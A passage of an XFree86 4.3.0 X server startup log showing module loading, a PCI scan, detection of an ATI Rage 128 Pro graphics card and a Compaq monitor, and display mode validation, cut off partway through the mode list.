(II) LoadModule: "bitmap" (II) Loading /usr/X11R6/lib/modules/fonts/libbitmap.a (II) Module bitmap: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 Module class: XFree86 Font Renderer ABI class: XFree86 Font Renderer, version 0.4 (II) Loading font Bitmap (II) LoadModule: "pcidata" (II) Loading /usr/X11R6/lib/modules/libpcidata.a (II) Module pcidata: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.6 (II) PCI: Probing config type using method 1 (II) PCI: Config type is 1 (II) PCI: stages = 0x03, oldVal1 = 0x00000000, mode1Res1 = 0x80000000 (II) PCI: PCI scan (all values are in hex) (II) PCI: 00:00:0: chip 8086,1a30 card 1028,010e rev 03 class 06,00,00 hdr 00 (II) PCI: 00:01:0: chip 8086,1a31 card 0000,0000 rev 03 class 06,04,00 hdr 01 (II) PCI: 00:1e:0: chip 8086,244e card 0000,0000 rev 12 class 06,04,00 hdr 01 (II) PCI: 00:1f:0: chip 8086,2440 card 0000,0000 rev 12 class 06,01,00 hdr 80 (II) PCI: 00:1f:1: chip 8086,244b card 1028,010e rev 12 class 01,01,80 hdr 00 (II) PCI: 00:1f:2: chip 8086,2442 card 1028,010e rev 12 class 0c,03,00 hdr 00 (II) PCI: 00:1f:3: chip 8086,2443 card 1028,010e rev 12 class 0c,05,00 hdr 00 (II) PCI: 00:1f:4: chip 8086,2444 card 1028,010e rev 12 class 0c,03,00 hdr 00 (II) PCI: 00:1f:5: chip 8086,2445 card 1028,010e rev 12 class 04,01,00 hdr 00 (II) PCI: 01:00:0: chip 1002,5446 card 1002,0408 rev 00 class 03,00,00 hdr 00 (II) PCI: 02:0c:0: chip 10b7,9200 card 1028,00fe rev 78 class 02,00,00 hdr 00 (II) PCI: End of PCI scan (II) Host-to-PCI bridge: (II) Bus 0: bridge is at (0:0:0), (0,0,2), BCTRL: 0x0008 (VGA_EN is set) (II) Bus 0 I/O range: [0] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) Bus 0 non-prefetchable memory range: [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] (II) Bus 0 prefetchable memory range: [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] (II) PCI-to-PCI bridge: (II) Bus 1: bridge is at (0:1:0), (0,1,1), BCTRL: 0x000e (VGA_EN is set) (II) Bus 1 I/O range: [0] -1 0 0x0000e000 - 0x0000e0ff (0x100) IX[B] [1] -1 0 0x0000e400 - 0x0000e4ff (0x100) IX[B] [2] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B] [3] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B] (II) Bus 1 non-prefetchable memory range: [0] -1 0 0xff900000 - 0xffafffff (0x200000) MX[B] (II) Bus 1 prefetchable memory range: [0] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B] (II) PCI-to-PCI bridge: (II) Bus 2: bridge is at (0:30:0), (0,2,2), BCTRL: 0x0006 (VGA_EN is cleared) (II) Bus 2 I/O range: [0] -1 0 0x0000d000 - 0x0000d0ff (0x100) IX[B] [1] -1 0 0x0000d400 - 0x0000d4ff (0x100) IX[B] [2] -1 0 0x0000d800 - 0x0000d8ff (0x100) IX[B] [3] -1 0 0x0000dc00 - 0x0000dcff (0x100) IX[B] (II) Bus 2 non-prefetchable memory range: [0] -1 0 0xff700000 - 0xff8fffff (0x200000) MX[B] (II) PCI-to-ISA bridge: (II) Bus -1: bridge is at (0:31:0), (0,-1,-1), BCTRL: 0x0008 (VGA_EN is set) (--) PCI:*(1:0:0) ATI Technologies Inc Rage 128 Pro Ultra TF rev 0, Mem @ 0xf8000000/26, 0xff9fc000/14, I/O @ 0xec00/8, BIOS @ 0x80000000/17 (II) Addressable bus resource ranges are [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] [1] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) OS-reported resource ranges: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [6] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] (II) PCI Memory resource overlap reduced 0xf0000000 from 0xf3ffffff to 0xefffffff (II) Active PCI resource ranges: [0] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [1] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [2] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [3] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [4] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [5] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [6] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [7] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [8] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [9] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [10] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [11] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [12] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) (II) Active PCI resource ranges after removing overlaps: [0] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [1] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [2] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [3] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [4] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [5] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [6] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [7] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [8] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [9] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [10] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [11] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [12] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) (II) OS-reported resource ranges after removing overlaps with PCI: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [6] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] (II) All system resource ranges: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [6] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [7] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [8] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [9] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [10] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [11] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [12] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [13] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [14] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [15] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [16] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [17] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [18] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [19] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) (II) LoadModule: "GLcore" (II) Loading /usr/X11R6/lib/modules/extensions/libGLcore.a (II) Module GLcore: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.2 (II) LoadModule: "dbe" (II) Loading /usr/X11R6/lib/modules/extensions/libdbe.a (II) Module dbe: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.2 (II) Loading extension DOUBLE-BUFFER (II) LoadModule: "extmod" (II) Loading /usr/X11R6/lib/modules/extensions/libextmod.a (II) Module extmod: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.2 (II) Loading extension SHAPE (II) Loading extension MIT-SUNDRY-NONSTANDARD (II) Loading extension BIG-REQUESTS (II) Loading extension SYNC (II) Loading extension MIT-SCREEN-SAVER (II) Loading extension XC-MISC (II) Loading extension XFree86-VidModeExtension (II) Loading extension XFree86-Misc (II) Loading extension XFree86-DGA (II) Loading extension DPMS (II) Loading extension FontCache (II) Loading extension TOG-CUP (II) Loading extension Extended-Visual-Information (II) Loading extension XVideo (II) Loading extension XVideo-MotionCompensation (II) Loading extension X-Resource (II) LoadModule: "fbdevhw" (II) Loading /usr/X11R6/lib/modules/linux/libfbdevhw.a (II) Module fbdevhw: vendor="The XFree86 Project" compiled for 4.3.0, module version = 0.0.2 ABI class: XFree86 Video Driver, version 0.6 (II) LoadModule: "dri" (II) Loading /usr/X11R6/lib/modules/extensions/libdri.a (II) Module dri: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.2 (II) Loading sub module "drm" (II) LoadModule: "drm" (II) Loading /usr/X11R6/lib/modules/linux/libdrm.a (II) Module drm: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.2 (II) Loading extension XFree86-DRI (II) LoadModule: "glx" (II) Loading /usr/X11R6/lib/modules/extensions/libglx.a (II) Module glx: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.2 (II) Loading sub module "GLcore" (II) LoadModule: "GLcore" (II) Reloading /usr/X11R6/lib/modules/extensions/libGLcore.a (II) Loading extension GLX (II) LoadModule: "record" (II) Loading /usr/X11R6/lib/modules/extensions/librecord.a (II) Module record: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.13.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.2 (II) Loading extension RECORD (II) LoadModule: "r128" (II) Loading /usr/X11R6/lib/modules/drivers/r128_drv.o (II) Module r128: vendor="The XFree86 Project" compiled for 4.3.0, module version = 4.0.1 Module class: XFree86 Video Driver ABI class: XFree86 Video Driver, version 0.6 (II) LoadModule: "ati" (II) Loading /usr/X11R6/lib/modules/drivers/ati_drv.o (II) Module ati: vendor="The XFree86 Project" compiled for 4.3.0, module version = 6.4.18 Module class: XFree86 Video Driver ABI class: XFree86 Video Driver, version 0.6 (II) LoadModule: "mouse" (II) Loading /usr/X11R6/lib/modules/input/mouse_drv.o (II) Module mouse: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 Module class: XFree86 XInput Driver ABI class: XFree86 XInput driver, version 0.4 (II) ATI: ATI driver (version 6.4.18) for chipsets: ati, ativga (II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 Mobility M3 LE (PCI), ATI Rage 128 Mobility M3 LF (AGP), ATI Rage 128 Mobility M4 MF (AGP), ATI Rage 128 Mobility M4 ML (AGP), ATI Rage 128 Pro GL PA (AGP?), ATI Rage 128 Pro GL PB (AGP?), ATI Rage 128 Pro GL PC (AGP?), ATI Rage 128 Pro GL PD (PCI), ATI Rage 128 Pro GL PE (AGP?), ATI Rage 128 Pro GL PF (AGP), ATI Rage 128 Pro VR PG (AGP?), ATI Rage 128 Pro VR PH (AGP?), ATI Rage 128 Pro VR PI (AGP?), ATI Rage 128 Pro VR PJ (AGP?), ATI Rage 128 Pro VR PK (AGP?), ATI Rage 128 Pro VR PL (AGP?), ATI Rage 128 Pro VR PM (AGP?), ATI Rage 128 Pro VR PN (AGP?), ATI Rage 128 Pro VR PO (AGP?), ATI Rage 128 Pro VR PP (PCI), ATI Rage 128 Pro VR PQ (AGP?), ATI Rage 128 Pro VR PR (PCI), ATI Rage 128 Pro VR PS (AGP?), ATI Rage 128 Pro VR PT (AGP?), ATI Rage 128 Pro VR PU (AGP?), ATI Rage 128 Pro VR PV (AGP?), ATI Rage 128 Pro VR PW (AGP?), ATI Rage 128 Pro VR PX (AGP?), ATI Rage 128 GL RE (PCI), ATI Rage 128 GL RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 VR RK (PCI), ATI Rage 128 VR RL (AGP), ATI Rage 128 4X SE (AGP?), ATI Rage 128 4X SF (AGP?), ATI Rage 128 4X SG (AGP?), ATI Rage 128 4X SH (AGP?), ATI Rage 128 4X SK (AGP?), ATI Rage 128 4X SL (AGP?), ATI Rage 128 4X SM (AGP), ATI Rage 128 4X SN (AGP?), ATI Rage 128 Pro ULTRA TF (AGP), ATI Rage 128 Pro ULTRA TL (AGP), ATI Rage 128 Pro ULTRA TR (AGP), ATI Rage 128 Pro ULTRA TS (AGP?), ATI Rage 128 Pro ULTRA TT (AGP?), ATI Rage 128 Pro ULTRA TU (AGP?) (II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP), ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP), ATI Radeon VE/7000 QY (AGP), ATI Radeon VE/7000 QZ (AGP), ATI Radeon Mobility M7 LW (AGP), ATI Mobility FireGL 7800 M7 LX (AGP), ATI Radeon Mobility M6 LY (AGP), ATI Radeon Mobility M6 LZ (AGP), ATI Radeon IGP320 (A3) 4136, ATI Radeon IGP320M (U1) 4336, ATI Radeon IGP330/340/350 (A4) 4137, ATI Radeon IGP330M/340M/350M (U2) 4337, ATI Radeon 7000 IGP (A4+) 4237, ATI Radeon Mobility 7000 IGP 4437, ATI FireGL 8700/8800 QH (AGP), ATI Radeon 8500 QI (AGP), ATI Radeon 8500 QJ (AGP), ATI Radeon 8500 QK (AGP), ATI Radeon 8500 QL (AGP), ATI Radeon 9100 QM (AGP), ATI Radeon 8500 QN (AGP), ATI Radeon 8500 QO (AGP), ATI Radeon 8500 Qh (AGP), ATI Radeon 8500 Qi (AGP), ATI Radeon 8500 Qj (AGP), ATI Radeon 8500 Qk (AGP), ATI Radeon 8500 Ql (AGP), ATI Radeon 8500 BB (AGP), ATI Radeon 7500 QW (AGP), ATI Radeon 7500 QX (AGP), ATI Radeon 9000 Id (AGP), ATI Radeon 9000 Ie (AGP), ATI Radeon 9000 If (AGP), ATI Radeon 9000 Ig (AGP), ATI Radeon Mobility M9 Ld (AGP), ATI Radeon Mobility M9 Le (AGP), ATI Radeon Mobility M9 Lf (AGP), ATI Radeon Mobility M9 Lg (AGP), ATI Radeon 9000 IGP (A5) 5834, ATI Radeon Mobility 9000 IGP (U3) 5835, ATI Radeon 9200 5960 (AGP), ATI Radeon 9200 5961 (AGP), ATI Radeon 9200 5962 (AGP), ATI Radeon 9200 5963 (AGP), ATI Radeon 9200 5964 (AGP), ATI Radeon M9+ 5968 (AGP), ATI Radeon M9+ 5969 (AGP), ATI Radeon M9+ 596A (AGP), ATI Radeon M9+ 596B (AGP), ATI Radeon 9500 AD (AGP), ATI Radeon 9500 AE (AGP), ATI Radeon 9500 AF (AGP), ATI FireGL Z1/X1 AG (AGP), ATI Radeon 9700 Pro ND (AGP), ATI Radeon 9700/9500Pro NE (AGP), ATI Radeon 9700 NF (AGP), ATI FireGL X1 NG (AGP), ATI Radeon 9600 AP (AGP), ATI Radeon 9600 Pro AR (AGP), ATI Radeon Mobility M10 NP (AGP), ATI FireGL (R350) AK (AGP), ATI Radeon 9800 NH (AGP), ATI FireGL (R350) NK (AGP) (II) Primary Device is: PCI 01:00:0 (--) Assigning device section with no busID to primary device (--) Chipset ATI Rage 128 Pro ULTRA TF (AGP) found (II) Loading sub module "r128" (II) LoadModule: "r128" (II) Reloading /usr/X11R6/lib/modules/drivers/r128_drv.o (II) resource ranges after xf86ClaimFixedResources() call: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [6] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [7] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [8] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [9] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [10] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [11] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [12] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [13] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [14] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [15] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [16] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [17] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [18] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [19] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) (II) resource ranges after probing: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [6] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [7] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [8] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [9] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [10] 0 0 0x000a0000 - 0x000affff (0x10000) MS[B] [11] 0 0 0x000b0000 - 0x000b7fff (0x8000) MS[B] [12] 0 0 0x000b8000 - 0x000bffff (0x8000) MS[B] [13] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [14] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [15] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [16] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [17] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [18] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [19] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [20] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [21] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [22] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) [23] 0 0 0x000003b0 - 0x000003bb (0xc) IS[B] [24] 0 0 0x000003c0 - 0x000003df (0x20) IS[B] (II) Setting vga for screen 0. (II) Loading sub module "vgahw" (II) LoadModule: "vgahw" (II) Loading /usr/X11R6/lib/modules/libvgahw.a (II) Module vgahw: vendor="The XFree86 Project" compiled for 4.3.0, module version = 0.1.0 ABI class: XFree86 Video Driver, version 0.6 (II) R128(0): PCI bus 1 card 0 func 0 (**) R128(0): Depth 24, (--) framebuffer bpp 32 (II) R128(0): Pixel depth = 24 bits stored in 4 bytes (32 bpp pixmaps) (==) R128(0): Default visual is TrueColor (==) R128(0): RGB weight 888 (II) R128(0): Using 8 bits per RGB (8 bit DAC) (II) Loading sub module "int10" (II) LoadModule: "int10" (II) Loading /usr/X11R6/lib/modules/linux/libint10.a (II) Module int10: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.6 (II) R128(0): initializing int10 (II) R128(0): Primary V_BIOS segment is: 0xc000 (--) R128(0): Chipset: "ATI Rage 128 Pro ULTRA TF (AGP)" (ChipID = 0x5446) (--) R128(0): Linear framebuffer at 0xf8000000 (--) R128(0): MMIO registers at 0xff9fc000 (--) R128(0): BIOS at 0x80000000 (--) R128(0): VideoRAM: 16384 kByte (128-bit SDR SGRAM 1:1) (**) R128(0): Using external CRT for display (WW) R128(0): Can't determine panel dimensions, and none specified. Disabling programming of FP registers. (II) R128(0): PLL parameters: rf=2950 rd=65 min=12500 max=35000; xclk=13000 (II) Loading sub module "ddc" (II) LoadModule: "ddc" (II) Loading /usr/X11R6/lib/modules/libddc.a (II) Module ddc: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.6 (II) Loading sub module "vbe" (II) LoadModule: "vbe" (II) Loading /usr/X11R6/lib/modules/libvbe.a (II) Module vbe: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.1.0 ABI class: XFree86 Video Driver, version 0.6 (II) R128(0): VESA BIOS detected (II) R128(0): VESA VBE Version 2.0 (II) R128(0): VESA VBE Total Mem: 16384 kB (II) R128(0): VESA VBE OEM: ATI RAGE128 (II) R128(0): VESA VBE OEM Software Rev: 1.0 (II) R128(0): VESA VBE OEM Vendor: ATI Technologies Inc. (II) R128(0): VESA VBE OEM Product: R128 (II) R128(0): VESA VBE OEM Product Rev: 01.00 (II) Loading sub module "ddc" (II) LoadModule: "ddc" (II) Reloading /usr/X11R6/lib/modules/libddc.a (II) R128(0): VESA VBE DDC supported (II) R128(0): VESA VBE DDC Level 2 (II) R128(0): VESA VBE DDC transfer in appr. 2 sec. (II) R128(0): VESA VBE DDC read successfully (II) R128(0): Manufacturer: CPQ Model: 1330 Serial#: 1093743668 (II) R128(0): Year: 1999 Week: 20 (II) R128(0): EDID Version: 1.1 (II) R128(0): Analog Display Input, Input Voltage Level: 0.700/0.700 V (II) R128(0): Sync: Separate Composite (II) R128(0): Max H-Image Size [cm]: horiz.: 33 vert.: 24 (II) R128(0): Gamma: 2.60 (II) R128(0): DPMS capabilities: StandBy Suspend Off; RGB/Color Display (II) R128(0): redX: 0.625 redY: 0.340 greenX: 0.280 greenY: 0.595 (II) R128(0): blueX: 0.155 blueY: 0.070 whiteX: 0.281 whiteY: 0.311 (II) R128(0): Supported VESA Video Modes: (II) R128(0): 720x400 at 70Hz (II) R128(0): 640x480 at 60Hz (II) R128(0): 640x480 at 75Hz (II) R128(0): 800x600 at 60Hz (II) R128(0): 800x600 at 75Hz (II) R128(0): 832x624 at 75Hz (II) R128(0): 1024x768 at 60Hz (II) R128(0): 1024x768 at 75Hz (II) R128(0): 1280x1024 at 75Hz (II) R128(0): 1152x870 at 75Hz (II) R128(0): Manufacturer's mask: 0 (II) R128(0): Supported Future Video Modes: (II) R128(0): #0: hsize: 1280 vsize 1024 refresh: 60 vid: 32897 (II) R128(0): #1: hsize: 1152 vsize 864 refresh: 75 vid: 20337 (II) R128(0): #2: hsize: 1024 vsize 768 refresh: 85 vid: 22881 (II) R128(0): #3: hsize: 800 vsize 600 refresh: 85 vid: 22853 (II) R128(0): #4: hsize: 640 vsize 480 refresh: 85 vid: 22833 (II) R128(0): Ranges: V min: 50 V max: 150 Hz, H min: 30 H max: 85 kHz, PixClock max 2550 MHz (II) R128(0): Serial No: 920CA45UA144 (II) R128(0): Monitor name: COMPAQ P75 (==) R128(0): Using gamma correction (1.0, 1.0, 1.0) (==) R128(0): Write-combining range (0xf8000000,0x1000000) (II) Loading sub module "i2c" (II) LoadModule: "i2c" (II) Loading /usr/X11R6/lib/modules/libi2c.a (II) Module i2c: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.2.0 ABI class: XFree86 Video Driver, version 0.6 (II) R128(0): I2C bus "DDC" initialized. (II) R128(0): I2C device "DDC:ddc2" registered at address 0xA0. (II) R128(0): I2C device "DDC:ddc2" removed. (EE) R128(0): No DFP detected (II) R128(0): Monitor0: Using hsync range of 30.00-85.00 kHz (II) R128(0): Monitor0: Using vrefresh range of 50.00-150.00 Hz (II) R128(0): Clock range: 12.50 to 350.00 MHz (II) R128(0): Not using mode "1400x1050" (hsync out of range) (II) R128(0): Not using default mode "1280x960" (hsync out of range) (II) R128(0): Not using default mode "640x480" (hsync out of range) (II) R128(0): Not using default mode "1280x1024" (hsync out of range) (II) R128(0): Not using default mode "640x512" (hsync out of range) (II) R128(0): Not using default mode "1600x1200" (hsync out of range) (II) R128(0): Not using default mode "800x600" (hsync out of range) (II) R128(0): Not using default mode "1600x1200" (hsync out of range) (II) R128(0): Not using default mode "800x600" (hsync out of range) (II) R128(0): Not using default mode "1600x1200" (hsync out of range) (II) R128(0): Not using default mode "800x600" (hsync out of range) (II) R128(0): Not using default mode "1792x1344" (hsync out of range) (II) R128(0): Not using default mode "896x672" (hsync out of range) (II) R128(0): Not using default mode "1856x1392" (hsync out of range) (II) R128(0): Not using default mode "928x696" (hsync out of range) (II) R128(0): Not using default mode "1856x1392" (hsync out of range) (II) R128(0): Not using default mode "928x696" (hsync out of range) (II) R128(0): Not using default mode "1920x1440" (hsync out of range) (II) R128(0): Not using default mode "960x720" (hsync out of range) (II) R128(0): Not using default mode "1920x1440" (hsync out of range) (II) R128(0): Not using default mode "960x720" (hsync out of range) (II) R128(0): Not using default mode "700x525" (hsync out of range) (II) R128(0): Not using default mode "1920x1200" (hsync out of range) (II) R128(0): Not using default mode "960x600" (hsync out of range) (II) R128(0): Not using default mode "1920x1440" (hsync out of range) (II) R128(0): Not using default mode "960x720" (hsync out of range) (II) R128(0): Not using default mode "2048x1536" (hsync out of range) (II) R128(0): Not using default mode "1024x768" (hsync out of range) (II) R128(0): Not using default mode "2048x1536" (hsync out of range) (II) R128(0): Not using default mode "1024x768" (hsync out of range) (II) R128(0): Not using default mode "2048x1536" (bad mode clock/interlace/doublescan) (II) R128(0): Not using default mode "1024x768" (hsync out of range) (II) R128(0): Not using default mode "1792x1344" (width too large for virtual size) (II) R128(0): Not using default mode "1600x1200" (width too large for virtual size) (II) R128(0): Not using default mode "1600x1200" (width too large for virtual size) (II) R128(0): Not using mode "1400x1050" (width too large for virtual size) (II) R128(0): Not using mode "1400x1050" (width too large for virtual size) (II) R128(0): Not using mode "1400x1050" (width too large for virtual size) (II) R128(0): Not using default mode "1280x1024" (width too large for virtual size) (II) R128(0): Not using default mode "1280x1024" (width too large for virtual size) (II) R128(0): Not using default mode "1280x960" (width too large for virtual size) (II) R128(0): Not using default mode "1152x864" (width too large for virtual size) (II) R128(0): Not using default mode "1152x864" (width too large for virtual size) (II) R128(0): Not using default mode "1152x768" (width too large for virtual size) (--) R128(0): Virtual size is 1024x768 (pitch 1024) (**) R128(0): *Default mode "1024x768": 94.5 MHz, 68.7 kHz, 85.0 Hz (II) R128(0): Modeline "1024x768" 94.50 1024 1072 1168 1376 768 769 772 808 +hsync +vsync (**) R128(0): *Default mode "800x600": 56.3 MHz, 53.7 kHz, 85.1 Hz (II) R128(0): Modeline "800x600" 56.30 800 832 896 1048 600 601 604 631 +hsync +vsync (**) R128(0): *Default mode "640x480": 36.0 MHz, 43.3 kHz, 85.0 Hz (II) R128(0): Modeline "640x480" 36.00 640 696 752 832 480 481 484 509 -hsync -vsync (**) R128(0): Default mode "1024x768": 78.8 MHz, 60.1 kHz, 75.1 Hz (II) R128(0): Modeline "1024x768" 78.80 1024 1040 1136 1312 768 769 772 800 +hsync +vsync (**) R128(0): Default mode "1024x768": 75.0 MHz, 56.5 kHz, 70.1 Hz (II) R128(0): Modeline "1024x768" 75.00 1024 1048 1184 1328 768 771 777 806 -hsync -vsync (**) R128(0): Default mode "1024x768": 65.0 MHz, 48.4 kHz, 60.0 Hz (II) R128(0): Modeline "1024x768" 65.00 1024 1048 1184 1344 768 771 777 806 -hsync -vsync (**) R128(0): Default mode "1024x768": 44.9 MHz, 35.5 kHz, 87.1 Hz (I) (II) R128(0): Modeline "1024x768" 44.90 1024 1032 1208 1264 768 768 776 817 interlace +hsync +vsync (**) R128(0): Default mode "896x672": 102.4 MHz, 83.7 kHz, 60.0 Hz (D) (II) R128(0): Modeline "896x672" 102.40 896 960 1060 1224 672 672 674 697 doublescan -hsync +vsync (**) R128(0): Default mode "832x624": 57.3 MHz, 49.7 kHz, 74.6 Hz (II) R128(0): Modeline "832x624" 57.28 832 864 928 1152 624 625 628 667 -hsync -vsync (**) R128(0): Default mode "800x600": 49.5 MHz, 46.9 kHz, 75.0 Hz (II) R128(0): Modeline "800x600" 49.50 800 816 896 1056 600 601 604 625 +hsync +vsync (**) R128(0): Default mode "800x600": 50.0 MHz, 48.1 kHz, 72.2 Hz (II) R128(0): Modeline "800x600" 50.00 800 856 976 1040 600 637 643 666 +hsync +vsync (**) R128(0): Default mode "800x600": 87.8 MHz, 81.2 kHz, 65.0 Hz (D) (II) R128(0): Modeline "800x600" 87.75 800 832 928 1080 600 